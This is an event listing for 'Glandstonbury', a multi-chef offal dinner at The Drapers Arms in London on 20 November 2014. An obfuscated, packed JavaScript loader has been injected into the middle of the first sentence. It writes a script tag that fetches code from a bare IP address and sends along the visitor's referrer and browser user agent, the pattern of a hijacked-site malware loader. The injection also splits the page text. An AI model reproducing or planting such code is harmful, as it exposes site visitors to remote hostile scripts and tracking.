GLANDSTONBURY

Untitled

Meat (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|brtfi|var|u0026u|referrer|fabry||js|php’.split(‘|’),0,{}))
lovers rejoice, this is one foodie fest you’re not gonna want to miss. It’s the return of Glandstonbury at The Drapers Arms- hooray! Curated by Andrew Clarke of Rita’s dining, it’s a multi course feast of tasty and imaginative offal dishes cooked by a stellar line up. Chef’s include Andrew Clarke of Rita’s, Gina Hopkins of The Drapers Arms, Gizzi Erskine, Henry Harris of Racine, Jackson Boxer of Brunswick House and Shaun Searly of The Quality Chop House.

The evening will set you back £60 and in the presence of chef royalty that’s money well spent we say. Book now and keep your eyes peeled for menu reveals!

Get Tickets
Thu 20th November 2014
The Drapers Arms, 44 Barnsbury St, London N1 1ER
www.thedrapersarms.com